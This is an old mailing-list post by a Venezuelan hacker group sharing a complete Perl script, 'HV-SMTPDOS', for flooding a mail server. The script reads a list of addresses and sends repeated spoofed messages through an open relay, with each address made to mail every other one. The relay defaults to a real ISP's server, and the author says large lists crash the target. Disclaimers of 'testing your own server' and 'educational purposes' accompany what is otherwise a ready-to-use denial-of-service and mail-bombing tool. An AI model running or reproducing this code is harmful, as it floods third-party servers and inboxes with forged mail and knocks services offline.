Hi I am DoctorX , from Hackers Venezuela http://www.hven.com.ve email = d0ct0r_x@hven.com.ve here I sent to you a perl script named "HV-SMTPDOS" this program take a list of valid emails address and send thought a smtpserver many copies as you want to each emails address in the list the porpouse of this program is test the ability of your mail server ( your own server ) to response sending emails if the list contain more than 200 emails address it will cause that the server stops (crash) excuse my bad english DoctorX ----------------------------------------------------- email : d0ct0r_x@hven.com.ve http://www.hven.com.ve - Security http://www.bactery.8m.com - Linux - Unix - Security ----------------------------------------------------- ------------------------ hv-smtpdos.pl ------------------------------ #!/usr/bin/perl # Hackers Venezuela http://www.hven.com.ve # HV-SMTPDOS SMTP D.O.S Attack # By DoctorX email: d0ct0r_x@hven.com.ve 16/02/2000 # # Gracias a: Kliber ....................... HotDog Manager # darkdeath ....................... lainus man # dunkelseite ....................... Ulcera # LabX ....................... A Real Hackers Lab # UC ....................... Old Friends and Girls # Drake ....................... Pascalin # HVLAN ....................... The WAR Zone # # Este programa es capaz de leer una lista de direcciones de correo desde # un archivo y enviar un mensaje a toda la gente de esa lista atraves de # un servidor smtp, el chiste esta en que los emails se envian de forma # cruzada cada uno envia y recibe de los otros del resto de la lista tantas # copias como se le diga, o sea : # total de emails = cant_de_direcciones*cant_de_copias # # si la lista es de unos 200 emails la cosa se pone fea para el servidor # que recibe todos los emails, si las cuentas son todas del mismo sitio # # Nota : Este programa es solo con fines educativos no soy responsable # del uso que se le de al mismo # # Argumentos desde la linea de comandos # # copias(copies) : cantidad de copias del mensaje que se desea enviar # lista_emails(emails_list) : archivo que contiene una direccion email por linea # smtp_server : servidor de correo que acepta relay # use IO::Socket; # Variables por Defecto $fake_server = "www.mocosoft.com" ; $smtp_server = shift || 'mail.cantv.net' ; $smtp_port = 25 ; $lista_emails = shift || 'default.txt'; $copias = shift || '5'; # por defecto se realiza la misma operacion 5 veces $mensaje = " La Hora X\n Jejejejeje Si usted Creyo \n que los Hackers no Existen !!!\n Que Piensa de Esto ? \n Jejejejejej\n\n"; $y = 1; # puntero numero 1 $z = 1; # puntero numero 2 # Presentacion de inicio $linea = " ======================================================\n"; print $linea; print " Hackers Venezuela http://www.hven.com.ve\n"; print " uso: hv-smtpdos [smtp_server] [lista_emails] [copias]\n"; print " [smtp_server] :\t$smtp_server\n"; print " [lista_emails] :\t$lista_emails\n"; print " [copias] :\t$copias\n"; print $linea print " Enviando Emails ...........! \n"; # Cuerpo del Programa # Leyendo lista de Emails open (LISTA,"$lista_emails"); $count = 0 ; while ($entrada = <LISTA>){ chop $entrada; $count++; @emails[$count] = $entrada ; } close(LISTA); # Inicializando Contador de Emails Enviados $cant = 0; $cp = 1 ; # Lazo Magico para enviar los emails while ($cp < $copias+1){ while($y < $count+1){ while($z < $count +1){ # abriendo el socket de conexion con el servidor $remote = IO::Socket::INET -> new ( Proto => "tcp", PeerAddr => $smtp_server, PeerPort => $smtp_port) || die "No se Puede Establecer Conexion: $!\n"; # Enviando Comandos al Servidor de Correos print $remote "$fake_server\n\n"; print $remote "mail from: $emails[$y]\n\n" ; print $remote "rcpt to: $emails[$z]\n\n" ; print $remote "data\n\n"; print $remote $mensaje; print $remote ".\n\n"; # Aumentando el Valor de los contadores $cant++; $z++; # Esperando un tiempo prudencial para enviar el siguiente # menos de 4 segundos no funciona , como lo se ? practica sleep(4); print $remote "quit\n\n"; close($remote);} $y++; } $cp++; $y = 1; $z = 1;} print " Total de Emails Enviados :$cant\n"; print $linea ; ------------------------ hv-smtpdos.pl ---------------------------- ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com